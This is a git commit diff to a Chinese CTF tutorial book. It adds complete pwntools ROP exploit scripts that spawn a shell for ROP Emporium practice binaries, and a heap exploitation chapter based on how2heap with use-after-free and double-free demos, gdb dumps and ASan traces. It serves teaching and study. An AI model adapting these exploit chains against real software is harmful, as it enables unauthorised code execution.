update 3.3.5

This commit is contained in:
firmianay 2018-01-05 17:28:09 +08:00
parent 182316d0b6
commit 67504aa4cc
11 changed files with 854 additions and 35 deletions

View File

@ -69,7 +69,7 @@
- [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) - [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
- [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) - [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
- [3.3.4 返回导向编程ROP](doc/3.3.4_rop.md) - [3.3.4 返回导向编程ROP](doc/3.3.4_rop.md)
- [3.3.5 堆溢出](doc/3.3.5_heap_overflow.md) - [3.3.5 堆利用](doc/3.3.5_heap_exploit.md)
- [3.4 Web](doc/3.4_web.md) - [3.4 Web](doc/3.4_web.md)
- [3.5 Misc](doc/3.5_misc.md) - [3.5 Misc](doc/3.5_misc.md)
- [3.6 Mobile](doc/3.6_mobile.md) - [3.6 Mobile](doc/3.6_mobile.md)

View File

@ -60,7 +60,7 @@ GitHub 地址https://github.com/firmianay/CTF-All-In-One
* [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md) * [3.3.2 整数溢出](doc/3.3.2_integer_overflow.md)
* [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md) * [3.3.3 栈溢出](doc/3.3.3_stack_overflow.md)
* [3.3.4 返回导向编程ROP](doc/3.3.4_rop.md) * [3.3.4 返回导向编程ROP](doc/3.3.4_rop.md)
* [3.3.5 堆溢出](doc/3.3.5_heap_overflow.md) * [3.3.5 堆利用](doc/3.3.5_heap_exploit.md)
* [3.4 Web](doc/3.4_web.md) * [3.4 Web](doc/3.4_web.md)
* [3.5 Misc](doc/3.5_misc.md) * [3.5 Misc](doc/3.5_misc.md)
* [3.6 Mobile](doc/3.6_mobile.md) * [3.6 Mobile](doc/3.6_mobile.md)

View File

@ -18,7 +18,6 @@
- [fluff](#fluff) - [fluff](#fluff)
- [pivot32](#pivot32) - [pivot32](#pivot32)
- [pivot](#pivot) - [pivot](#pivot)
- [练习](#练习)
- [更多资料](#更多资料) - [更多资料](#更多资料)
@ -384,8 +383,7 @@ $ python2 -c "print 'A'*44 + '\x57\x86\x04\x08' + '\x30\xa0\x04\x08'" | ./split3
```python ```python
from zio import * from zio import *
payload = "" payload = "A"*44
payload += "A"*44
payload += l32(0x08048430) payload += l32(0x08048430)
payload += "BBBB" payload += "BBBB"
payload += l32(0x0804a030) payload += l32(0x0804a030)
@ -454,8 +452,7 @@ End of assembler dump.
```python ```python
from zio import * from zio import *
payload = "" payload = "A"*40
payload += "A"*40
payload += l64(0x00400883) payload += l64(0x00400883)
payload += l64(0x00601060) payload += l64(0x00601060)
payload += l64(0x4005e0) payload += l64(0x4005e0)
@ -500,8 +497,7 @@ Searching for ROP gadget: 'add esp, 8' in: binary ranges
```python ```python
from zio import * from zio import *
payload = "" payload = "A"*44
payload += "A"*44
payload += l32(0x080485c0) payload += l32(0x080485c0)
payload += l32(0x080488a9) payload += l32(0x080488a9)
@ -539,8 +535,7 @@ payload 如下:
```python ```python
from zio import * from zio import *
payload = "" payload = "A"*40
payload += "A"*40
payload += l64(0x00401ab0) payload += l64(0x00401ab0)
payload += l64(0x1) + l64(0x2) + l64(0x3) payload += l64(0x1) + l64(0x2) + l64(0x3)
@ -621,7 +616,36 @@ ROPE{a_placeholder_32byte_flag!}
#### write4 #### write4
64 位程序就可以一次性写入了。 64 位程序就可以一次性写入了。
```
$ ropgadget --binary write4 --only "mov|pop|ret"
...
0x0000000000400820 : mov qword ptr [r14], r15 ; ret
0x0000000000400890 : pop r14 ; pop r15 ; ret
0x0000000000400893 : pop rdi ; ret
```
```python
from pwn import *
pop_r14_r15 = 0x0000000000400890
mov_r14_r15 = 0x0000000000400820
pop_rdi = 0x0000000000400893
data_addr = 0x0000000000601050
system_plt = 0x004005e0
payload = "A"*40
payload += p64(pop_r14_r15)
payload += p64(data_addr)
payload += "/bin/sh\x00"
payload += p64(mov_r14_r15)
payload += p64(pop_rdi)
payload += p64(data_addr)
payload += p64(system_plt)
io = process('./write4')
io.recvuntil('>')
io.sendline(payload)
io.interactive()
```
#### badchars32 #### badchars32
在这个挑战中,我们依然要将 `/bin/sh` 写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 `checkBadchars()` 在这个挑战中,我们依然要将 `/bin/sh` 写入到进程内存中,但这一次程序在读取输入时会对敏感字符进行检查,查看函数 `checkBadchars()`
@ -712,8 +736,7 @@ while(1):
break break
# write # write
payload = "" payload = "A"*44
payload += "A"*44
payload += l32(pop_esi_edi) payload += l32(pop_esi_edi)
payload += binsh[:4] payload += binsh[:4]
payload += l32(data_addr) payload += l32(data_addr)
@ -742,6 +765,62 @@ io.interact()
#### badchars #### badchars
64 位程序也是一样的,注意参数传递就好了。 64 位程序也是一样的,注意参数传递就好了。
```
$ ropgadget --binary badchars --only "mov|pop|ret|xor"
...
0x0000000000400b34 : mov qword ptr [r13], r12 ; ret
0x0000000000400b3b : pop r12 ; pop r13 ; ret
0x0000000000400b40 : pop r14 ; pop r15 ; ret
0x0000000000400b30 : xor byte ptr [r15], r14b ; ret
0x0000000000400b39 : pop rdi ; ret
```
```python
from pwn import *
pop_r12_r13 = 0x0000000000400b3b
mov_r13_r12 = 0x0000000000400b34
pop_r14_r15 = 0x0000000000400b40
xor_r15_r14b = 0x0000000000400b30
pop_rdi = 0x0000000000400b39
system_plt = 0x00000000004006f0
data_addr = 0x0000000000601000
badchars = [0x62, 0x69, 0x63, 0x2f, 0x20, 0x66, 0x6e, 0x73]
xor_byte = 0x1
while(1):
binsh = ""
for i in "/bin/sh\x00":
c = ord(i) ^ xor_byte
if c in badchars:
xor_byte += 1
break
else:
binsh += chr(c)
if len(binsh) == 8:
break
payload = "A"*40
payload += p64(pop_r12_r13)
payload += binsh
payload += p64(data_addr)
payload += p64(mov_r13_r12)
for i in range(len(binsh)):
payload += p64(pop_r14_r15)
payload += p64(xor_byte)
payload += p64(data_addr + i)
payload += p64(xor_r15_r14b)
payload += p64(pop_rdi)
payload += p64(data_addr)
payload += p64(system_plt)
io = process('./badchars')
io.recvuntil('>')
io.sendline(payload)
io.interactive()
```
#### fluff32 #### fluff32
这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 `mov [reg], reg` 这样的 gadgets我们就从这里出发倒推所需的 gadgets。 这个练习与上面没有太大区别,难点在于我们能找到的 gadgets 不是那么直接,有一个技巧是因为我们的目的是写入字符串,那么必然需要 `mov [reg], reg` 这样的 gadgets我们就从这里出发倒推所需的 gadgets。
@ -769,8 +848,7 @@ xor_edx_edx = 0x08048671
def write_data(data, addr): def write_data(data, addr):
# addr -> ecx # addr -> ecx
payload = "" payload = l32(xor_edx_edx)
payload += l32(xor_edx_edx)
payload += "BBBB" payload += "BBBB"
payload += l32(pop_ebx) payload += l32(pop_ebx)
payload += l32(addr) payload += l32(addr)
@ -794,8 +872,7 @@ def write_data(data, addr):
return payload return payload
payload = "" payload = "A"*44
payload += "A"*44
payload += write_data("/bin", data_addr) payload += write_data("/bin", data_addr)
payload += write_data("/sh\x00", data_addr + 4) payload += write_data("/sh\x00", data_addr + 4)
@ -811,6 +888,62 @@ io.interact()
#### fluff #### fluff
提示:在使用 ropgadget 搜索时加上参数 `--depth` 可以得到更大长度的 gadgets。 提示:在使用 ropgadget 搜索时加上参数 `--depth` 可以得到更大长度的 gadgets。
```
$ ropgadget --binary fluff --only "mov|pop|ret|xor|xchg" --depth 20
...
0x0000000000400832 : pop r12 ; mov r13d, 0x604060 ; ret
0x000000000040084c : pop r15 ; mov qword ptr [r10], r11 ; pop r13 ; pop r12 ; xor byte ptr [r10], r12b ; ret
0x0000000000400840 : xchg r11, r10 ; pop r15 ; mov r11d, 0x602050 ; ret
0x0000000000400822 : xor r11, r11 ; pop r14 ; mov edi, 0x601050 ; ret
0x000000000040082f : xor r11, r12 ; pop r12 ; mov r13d, 0x604060 ; ret
```
```python
from pwn import *
system_plt = 0x004005e0
data_addr = 0x0000000000601050
xor_r11_r11 = 0x0000000000400822
xor_r11_r12 = 0x000000000040082f
xchg_r11_r10 = 0x0000000000400840
mov_r10_r11 = 0x000000000040084c
pop_r12 = 0x0000000000400832
def write_data(data, addr):
# addr -> r10
payload = p64(xor_r11_r11)
payload += "BBBBBBBB"
payload += p64(pop_r12)
payload += p64(addr)
payload += p64(xor_r11_r12)
payload += "BBBBBBBB"
payload += p64(xchg_r11_r10)
payload += "BBBBBBBB"
# data -> r11
payload += p64(xor_r11_r11)
payload += "BBBBBBBB"
payload += p64(pop_r12)
payload += data
payload += p64(xor_r11_r12)
payload += "BBBBBBBB"
# r11 -> [r10]
payload += p64(mov_r10_r11)
payload += "BBBBBBBB"*2
payload += p64(0)
return payload
payload = "A"*40
payload += write_data("/bin/sh\x00", data_addr)
payload += p64(system_plt)
io = process('./fluff')
io.recvuntil('>')
io.sendline(payload)
io.interactive()
```
#### pivot32 #### pivot32
这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。 这是挑战的最后一题,难度突然增加。首先是动态库,动态库中函数的相对位置是固定的,所以如果我们知道其中一个函数的地址,就可以通过相对位置关系得到其他任意函数的地址。在开启 ASLR 的情况下,动态库加载到内存中的地址是变化的,但并不影响库中函数的相对位置,所以我们要想办法先泄露出某个函数的地址,从而得到目标函数地址。
@ -876,8 +1009,7 @@ leakaddr = int(io.recv().split()[20], 16)
# calls foothold_function() to populate its GOT entry, then queries that value into EAX # calls foothold_function() to populate its GOT entry, then queries that value into EAX
#gdb.attach(io) #gdb.attach(io)
payload_1 = "" payload_1 = p32(foothold_plt)
payload_1 += p32(foothold_plt)
payload_1 += p32(pop_eax) payload_1 += p32(pop_eax)
payload_1 += p32(foothold_got_plt) payload_1 += p32(foothold_got_plt)
payload_1 += p32(mov_eax_eax) payload_1 += p32(mov_eax_eax)
@ -889,12 +1021,10 @@ payload_1 += p32(call_eax)
io.sendline(payload_1) io.sendline(payload_1)
# ebp = leakaddr-4, esp = leave_ret # ebp = leakaddr-4, esp = leave_ret
payload_2 = "" payload_2 = "A"*40
payload_2 += "A"*40
payload_2 += p32(leakaddr-4) + p32(leave_ret) payload_2 += p32(leakaddr-4) + p32(leave_ret)
io.sendline(payload_2) io.sendline(payload_2)
print io.recvall() print io.recvall()
``` ```
@ -1249,22 +1379,75 @@ Legend: code, data, rodata, value
#### pivot #### pivot
基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如: 基本同上,但你可以尝试把修改 rsp 的部分也用 gadgets 来实现,这样做的好处是我们不需要伪造一个堆栈,即不用管 ebp 的地址。如:
```python ```python
payload_2 = "" payload_2 = "A" * 40
payload_2 += "A" * 40
payload_2 += p64(pop_rax) payload_2 += p64(pop_rax)
payload_2 += p64(leakaddr) payload_2 += p64(leakaddr)
payload_2 += p64(xchg_rax_rsp) payload_2 += p64(xchg_rax_rsp)
``` ```
实际上,我本人正是使用这种方法,因为我在构建 payload 时,`0x0000000000400ae0 <+165>: leave`leave;ret 的地址存在截断字符 `0a`,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 `0a` 换成非截断字符,之后再使用寄存器将 `0a` 写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。 实际上,我本人正是使用这种方法,因为我在构建 payload 时,`0x0000000000400ae0 <+165>: leave`leave;ret 的地址存在截断字符 `0a`,这样就不能通过正常的方式写入缓冲区,当然这也是可以解决的,比如先将 `0a` 换成非截断字符,之后再使用寄存器将 `0a` 写入该地址,这也是通常解决缓冲区中截断字符的方法,但是这样做难度太大,不推荐,感兴趣的读者可以尝试一下。
```
$ ropgadget --binary pivot --only "mov|pop|call|add|xchg|ret"
0x0000000000400b09 : add rax, rbp ; ret
0x000000000040098e : call rax
0x0000000000400b05 : mov rax, qword ptr [rax] ; ret
0x0000000000400b00 : pop rax ; ret
0x0000000000400900 : pop rbp ; ret
0x0000000000400b02 : xchg rax, rsp ; ret
```
```python
from pwn import *
#context.log_level = 'debug'
#context.terminal = ['konsole']
io = process('./pivot')
elf = ELF('./pivot')
libp = ELF('./libpivot.so')
leave_ret = 0x0000000000400adf
foothold_plt = elf.plt['foothold_function'] # 0x400850
foothold_got_plt = elf.got['foothold_function'] # 0x602048
pop_rax = 0x0000000000400b00
pop_rbp = 0x0000000000400900
mov_rax_rax = 0x0000000000400b05
xchg_rax_rsp = 0x0000000000400b02
add_rax_rbp = 0x0000000000400b09
call_rax = 0x000000000040098e
foothold_sym = libp.symbols['foothold_function']
ret2win_sym = libp.symbols['ret2win']
offset = int(ret2win_sym - foothold_sym) # 0x14e
leakaddr = int(io.recv().split()[20], 16)
# calls foothold_function() to populate its GOT entry, then queries that value into EAX
#gdb.attach(io)
payload_1 = p64(foothold_plt)
payload_1 += p64(pop_rax)
payload_1 += p64(foothold_got_plt)
payload_1 += p64(mov_rax_rax)
payload_1 += p64(pop_rbp)
payload_1 += p64(offset)
payload_1 += p64(add_rax_rbp)
payload_1 += p64(call_rax)
io.sendline(payload_1)
# rsp = leakaddr
payload_2 = "A" * 40
payload_2 += p64(pop_rax)
payload_2 += p64(leakaddr)
payload_2 += p64(xchg_rax_rsp)
io.sendline(payload_2)
print io.recvall()
```
这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。 这样基本的 ROP 也就介绍完了,更高级的用法会在后面的章节中再介绍,所谓的高级,也就是 gadgets 构造更加巧妙,运用操作系统的知识更加底层而已。
## 练习
ROP Emporium 中有几个 64 位程序在这里没有给出 payload就留作练习吧答案都可以在这里找到[ROP Emporium Writeup](https://firmianay.github.io/2017/11/02/rop_emporium.html)
## 更多资料 ## 更多资料
- [ROP Emporium](https://ropemporium.com) - [ROP Emporium](https://ropemporium.com)
- [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP) - [一步一步学 ROP 系列](https://github.com/zhengmin1989/ROP_STEP_BY_STEP)

533
doc/3.3.5_heap_exploit.md Normal file
View File

@ -0,0 +1,533 @@
# 3.3.5 堆利用
- [Linux 堆简介](#linux-堆简介)
- [how2heap](#how2heap)
- [first_fit](#firstfit)
- [fastbin_dup](#fastbindup)
- [fastbin_dup_into_stack](#fastbindupintostack)
- [unsafe_unlink](#unsafeunlink)
- [house_of_spirit](#houseofspirit)
- [poison_null_byte](#poisonnullbyte)
- [house_of_lore](#houseoflore)
- [overlapping_chunks](#overlappingchunks)
- [overlapping_chunks_2](#overlappingchunks2)
- [house_of_force](#houseofforce)
- [unsorted_bin_attack](#unsortedbinattack)
- [house_of_einherjar](#houseofeinherjar)
- [house_of_orange](#houseoforange)
- [参考资料](#参考资料)
## Linux 堆简介
堆是程序虚拟地址空间中的一块连续的区域,由低地址向高地址增长。当前 Linux 使用的堆分配器被称为 ptmalloc2在 glibc 中实现。
更详细的我们已经在章节 1.5.8 中介绍了,章节 1.5.7 中也有相关内容,请回顾一下。
## how2heap
how2heap 是由 shellphish 团队制作的堆利用教程,介绍了多种堆利用技术,这篇文章我们就通过这个教程来学习。推荐使用 Ubuntu 16.04 64位系统环境glibc 版本如下:
```
$ file /lib/x86_64-linux-gnu/libc-2.23.so
/lib/x86_64-linux-gnu/libc-2.23.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=088a6e00a1814622219f346b41e775b8dd46c518, for GNU/Linux 2.6.32, stripped
```
```
$ git clone https://github.com/shellphish/how2heap.git
$ cd how2heap
$ make
```
请注意,下文中贴出的代码是我简化过的,剔除和修改了一些不必要的注释和代码,以方便学习。另外,正如章节 4.3 中所讲的,添加编译参数 `CFLAGS += -fsanitize=address` 可以检测内存错误。[下载文件](../src/Others/3.3.5_heap_exploit)
#### first_fit
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
char* a = malloc(512);
char* b = malloc(256);
char* c;
fprintf(stderr, "1st malloc(512): %p\n", a);
fprintf(stderr, "2nd malloc(256): %p\n", b);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
fprintf(stderr, "first allocation %p points to %s\n", a, a);
fprintf(stderr, "Freeing the first one...\n");
free(a);
c = malloc(500);
fprintf(stderr, "3rd malloc(500): %p\n", c);
strcpy(c, "CCCCCCCC");
fprintf(stderr, "3rd allocation %p points to %s\n", c, c);
fprintf(stderr, "first allocation %p points to %s\n", a, a);
}
```
```
$ gcc -g first_fit.c
$ ./a.out
1st malloc(512): 0x1380010
2nd malloc(256): 0x1380220
first allocation 0x1380010 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x1380010
3rd allocation 0x1380010 points to CCCCCCCC
first allocation 0x1380010 points to CCCCCCCC
```
这第一个程序展示了 glibc 堆分配的策略,即 first-fit。在分配内存时malloc 会先到 unsorted bin或者fastbins 中查找适合的被 free 的 chunk如果没有就会把 unsorted bin 中的所有 chunk 分别放入到所属的 bins 中,然后再去这些 bins 里去找合适的 chunk。可以看到第三次 malloc 的地址和第一次相同,即 malloc 找到了第一次 free 掉的 chunk并把它重新分配。
在 gdb 中调试,两个 malloc 之后chunk 位于 malloc 返回地址减去 0x10 的位置):
```
gef➤ x/5gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000
gef➤ x/5gx 0x602220-0x10
0x602210: 0x0000000000000000 0x0000000000000111 <-- chunk b
0x602220: 0x4242424242424242 0x0000000000000000
0x602230: 0x0000000000000000
```
第一个 free 之后,将其加入到 unsorted bin 中:
```
gef➤ x/5gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk a [be freed]
0x602010: 0x00007ffff7dd1b78 0x00007ffff7dd1b78 <-- fd pointer, bk pointer
0x602020: 0x0000000000000000
gef➤ x/5gx 0x602220-0x10
0x602210: 0x0000000000000210 0x0000000000000110 <-- chunk b
0x602220: 0x4242424242424242 0x0000000000000000
0x602230: 0x0000000000000000
gef➤ heap bins unsorted
[ Unsorted Bin for arena 'main_arena' ]
[+] unsorted_bins[0]: fw=0x602000, bk=0x602000
→ Chunk(addr=0x602010, size=0x210, flags=PREV_INUSE)
[+] Found 1 chunks in unsorted bin.
```
第三个 malloc 之后:
```
gef➤ x/5gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000211 <-- chunk c
0x602010: 0x4343434343434343 0x00007ffff7dd1d00
0x602020: 0x0000000000000000
gef➤ x/5gx 0x602220-0x10
0x602210: 0x0000000000000210 0x0000000000000111 <-- chunk b
0x602220: 0x4242424242424242 0x0000000000000000
0x602230: 0x0000000000000000
```
好了,现在我们加上内存检测参数重新编译:
```
$ gcc -fsanitize=address -g first_fit.c
$ ./a.out
1st malloc(512): 0x61500000fd00
2nd malloc(256): 0x611000009f00
first allocation 0x61500000fd00 points to AAAAAAAA
Freeing the first one...
3rd malloc(500): 0x61500000fa80
3rd allocation 0x61500000fa80 points to CCCCCCCC
=================================================================
==4525==ERROR: AddressSanitizer: heap-use-after-free on address 0x61500000fd00 at pc 0x7f49d14a61e9 bp 0x7ffe40b526e0 sp 0x7ffe40b51e58
READ of size 2 at 0x61500000fd00 thread T0
#0 0x7f49d14a61e8 (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x601e8)
#1 0x7f49d14a6bcc in vfprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60bcc)
#2 0x7f49d14a6cf9 in fprintf (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x60cf9)
#3 0x400b8b in main /home/firmy/how2heap/first_fit.c:23
#4 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#5 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
0x61500000fd00 is located 0 bytes inside of 512-byte region [0x61500000fd00,0x61500000ff00)
freed by thread T0 here:
#0 0x7f49d14de2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400aa2 in main /home/firmy/how2heap/first_fit.c:17
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7f49d14de602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400957 in main /home/firmy/how2heap/first_fit.c:6
#2 0x7f49d109c82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```
一个很明显的 use-after-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
#### fastbin_dup
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 3 buffers.\n");
char *d = malloc(9);
char *e = malloc(9);
char *f = malloc(9);
strcpy(d, "DDDDDDDD");
fprintf(stderr, "4st malloc(9) %p points to %s the first time\n", d, d);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s the second time\n", f, f);
}
```
```
$ gcc -g fastbin_dup.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0x1c07010 points to AAAAAAAA
2nd malloc(9) 0x1c07030 points to BBBBBBBB
3rd malloc(9) 0x1c07050 points to CCCCCCCC
Freeing the first one 0x1c07010.
Then freeing another one 0x1c07030.
Freeing the first one 0x1c07010 again.
Allocating 3 buffers.
4st malloc(9) 0x1c07010 points to DDDDDDDD the first time
5nd malloc(9) 0x1c07030 points to EEEEEEEE
6rd malloc(9) 0x1c07010 points to FFFFFFFF the second time
```
这个程序展示了利用 fastbins 的 double-free 攻击。fastbins 可以看成一个 LIFO 的栈,使用单链表实现,通过 fastbin->fd 来遍历 fastbins。由于 free 的过程会对 free list 做检查,我们不能连续两次 free 同一个 chunk所以这里在两次 free 之间,增加了一次对其他 chunk 的 free 过程,从而绕过检查顺利执行。然后再 malloc 三次,就在同一个地址 malloc 了两次,也就有了两个指向同一块内存区域的指针。
三个 malloc 之后:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a
0x602010: 0x4141414141414141 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1 <-- top chunk
0x602070: 0x0000000000000000
```
第一个 free 之后chunk a 被添加到 fastbins 中:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b
0x602030: 0x4242424242424242 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
```
第二个 free 之后chunk b 被添加到 fastbins 中:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed]
0x602010: 0x0000000000000000 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE)
```
第三个 free 之后chunk a 再次被添加到 fastbins 中:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk a [be freed again]
0x602010: 0x0000000000602020 0x0000000000000000 <-- fd pointer
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk b [be freed]
0x602030: 0x0000000000602000 0x0000000000000000 <-- fd pointer
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
gef➤ heap bins fast
[ Fastbins for arena 0x7ffff7dd1b20 ]
Fastbins[idx=0, size=0x10] ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602030, size=0x20, flags=PREV_INUSE) ← Chunk(addr=0x602010, size=0x20, flags=PREV_INUSE) → [loop detected]
```
再三个 malloc 之后:
```
gef➤ x/15gx 0x602010-0x10
0x602000: 0x0000000000000000 0x0000000000000021 <-- chunk d, chunk f
0x602010: 0x4646464646464646 0x0000000000000000
0x602020: 0x0000000000000000 0x0000000000000021 <-- chunk e
0x602030: 0x4545454545454545 0x0000000000000000
0x602040: 0x0000000000000000 0x0000000000000021 <-- chunk c
0x602050: 0x4343434343434343 0x0000000000000000
0x602060: 0x0000000000000000 0x0000000000020fa1
0x602070: 0x0000000000000000
```
加上内存检测参数重新编译:
```
$ gcc -fsanitize=address -g fastbin_dup.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0x60200000eff0 points to AAAAAAAA
2nd malloc(9) 0x60200000efd0 points to BBBBBBBB
3rd malloc(9) 0x60200000efb0 points to CCCCCCCC
Freeing the first one 0x60200000eff0.
Then freeing another one 0x60200000efd0.
Freeing the first one 0x60200000eff0 again.
=================================================================
==5650==ERROR: AddressSanitizer: attempting double-free on 0x60200000eff0 in thread T0:
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400ba3 in main /home/firmy/how2heap/fastbin_dup.c:22
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#3 0x400878 in _start (/home/firmy/how2heap/a.out+0x400878)
0x60200000eff0 is located 0 bytes inside of 9-byte region [0x60200000eff0,0x60200000eff9)
freed by thread T0 here:
#0 0x7fdc18ebf2ca in __interceptor_free (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x982ca)
#1 0x400b0d in main /home/firmy/how2heap/fastbin_dup.c:18
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
previously allocated by thread T0 here:
#0 0x7fdc18ebf602 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x98602)
#1 0x400997 in main /home/firmy/how2heap/fastbin_dup.c:7
#2 0x7fdc18a7d82f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
```
一个很明显的 double-free 漏洞。关于这类漏洞的详细利用过程,我们会在后面的章节里再讲。
#### fastbin_dup_into_stack
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main() {
unsigned long long stack_var = 0x21;
fprintf(stderr, "Allocating 3 buffers.\n");
char *a = malloc(9);
char *b = malloc(9);
char *c = malloc(9);
strcpy(a, "AAAAAAAA");
strcpy(b, "BBBBBBBB");
strcpy(c, "CCCCCCCC");
fprintf(stderr, "1st malloc(9) %p points to %s\n", a, a);
fprintf(stderr, "2nd malloc(9) %p points to %s\n", b, b);
fprintf(stderr, "3rd malloc(9) %p points to %s\n", c, c);
fprintf(stderr, "Freeing the first one %p.\n", a);
free(a);
fprintf(stderr, "Then freeing another one %p.\n", b);
free(b);
fprintf(stderr, "Freeing the first one %p again.\n", a);
free(a);
fprintf(stderr, "Allocating 4 buffers.\n");
unsigned long long *d = malloc(9);
*d = (unsigned long long) (((char*)&stack_var) - sizeof(d));
fprintf(stderr, "4nd malloc(9) %p points to %p\n", d, &d);
char *e = malloc(9);
strcpy(e, "EEEEEEEE");
fprintf(stderr, "5nd malloc(9) %p points to %s\n", e, e);
char *f = malloc(9);
strcpy(f, "FFFFFFFF");
fprintf(stderr, "6rd malloc(9) %p points to %s\n", f, f);
char *g = malloc(9);
strcpy(g, "GGGGGGGG");
fprintf(stderr, "7th malloc(9) %p points to %s\n", g, g);
}
```
```
$ gcc -g fastbin_dup_into_stack.c
$ ./a.out
Allocating 3 buffers.
1st malloc(9) 0xcf2010 points to AAAAAAAA
